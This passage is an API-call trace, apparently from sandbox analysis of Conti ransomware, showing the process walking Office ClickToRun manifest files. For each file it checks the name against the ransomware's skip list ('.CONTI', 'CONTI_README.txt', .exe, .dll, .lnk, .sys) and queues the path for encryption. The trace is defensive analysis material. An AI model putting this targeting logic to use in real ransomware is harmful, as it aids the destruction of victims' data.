	[0098.780] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1
	[0098.780] lstrcmpiW (lpString1="C2RManifest.officemuiset.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.780] lstrcmpiW (lpString1="C2RManifest.officemuiset.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.780] StrStrIW (lpFirst="C2RManifest.officemuiset.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.780] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.780] lstrlenW (lpString="C2RManifest.officemuiset.msi.16.en-us.xml") returned 41
	[0098.780] GetProcessHeap () returned 0x1720000
	[0098.780] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xea) returned 0x17bfbf0
	[0098.780] lstrcpyW (in: lpString1=0x17bfbf0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.781] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.781] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.officemuiset.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml"
	[0098.781] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4e98) returned 1
	[0098.781] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1
	[0098.781] lstrcmpiW (lpString1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.781] lstrcmpiW (lpString1="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.781] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.781] lstrlenW (lpString="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned 52
	[0098.781] GetProcessHeap () returned 0x1720000
	[0098.781] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x100) returned 0x17d18e0
	[0098.781] lstrcpyW (in: lpString1=0x17d18e0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.781] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.781] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml"
	[0098.781] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c40e8) returned 1
	[0098.781] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1
	[0098.781] lstrcmpiW (lpString1="C2RManifest.onenotemui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.781] lstrcmpiW (lpString1="C2RManifest.onenotemui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.781] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.781] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.onenotemui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.782] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.782] lstrlenW (lpString="C2RManifest.onenotemui.msi.16.en-us.xml") returned 39
	[0098.782] GetProcessHeap () returned 0x1720000
	[0098.782] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe6) returned 0x17d19e8
	[0098.782] lstrcpyW (in: lpString1=0x17d19e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.782] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.782] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.onenotemui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml"
	[0098.782] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c50e0) returned 1
	[0098.782] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1
	[0098.782] lstrcmpiW (lpString1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.782] lstrcmpiW (lpString1="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.782] StrStrIW (lpFirst="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.782] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.782] lstrlenW (lpString="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned 44
	[0098.782] GetProcessHeap () returned 0x1720000
	[0098.782] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf0) returned 0x17d1ad8
	[0098.782] lstrcpyW (in: lpString1=0x17d1ad8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.782] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.782] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml"
	[0098.783] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1
	[0098.783] lstrcmpiW (lpString1="C2RManifest.osmmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.783] lstrcmpiW (lpString1="C2RManifest.osmmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.osmmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.783] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.783] lstrlenW (lpString="C2RManifest.osmmui.msi.16.en-us.xml") returned 35
	[0098.783] GetProcessHeap () returned 0x1720000
	[0098.783] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xde) returned 0x17d0ca0
	[0098.783] lstrcpyW (in: lpString1=0x17d0ca0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.783] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.783] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.osmmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml"
	[0098.783] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1
	[0098.783] lstrcmpiW (lpString1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.783] lstrcmpiW (lpString1="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.783] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.783] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.784] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.784] lstrlenW (lpString="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned 48
	[0098.784] GetProcessHeap () returned 0x1720000
	[0098.784] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf8) returned 0x17d1bd0
	[0098.784] lstrcpyW (in: lpString1=0x17d1bd0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.784] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.784] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml"
	[0098.784] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1
	[0098.784] lstrcmpiW (lpString1="C2RManifest.osmuxmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.784] lstrcmpiW (lpString1="C2RManifest.osmuxmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.784] StrStrIW (lpFirst="C2RManifest.osmuxmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.784] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.784] lstrlenW (lpString="C2RManifest.osmuxmui.msi.16.en-us.xml") returned 37
	[0098.784] GetProcessHeap () returned 0x1720000
	[0098.784] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe2) returned 0x17d1cd0
	[0098.784] lstrcpyW (in: lpString1=0x17d1cd0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.784] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.784] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.osmuxmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml"
	[0098.784] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1
	[0098.785] lstrcmpiW (lpString1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.785] lstrcmpiW (lpString1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.785] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
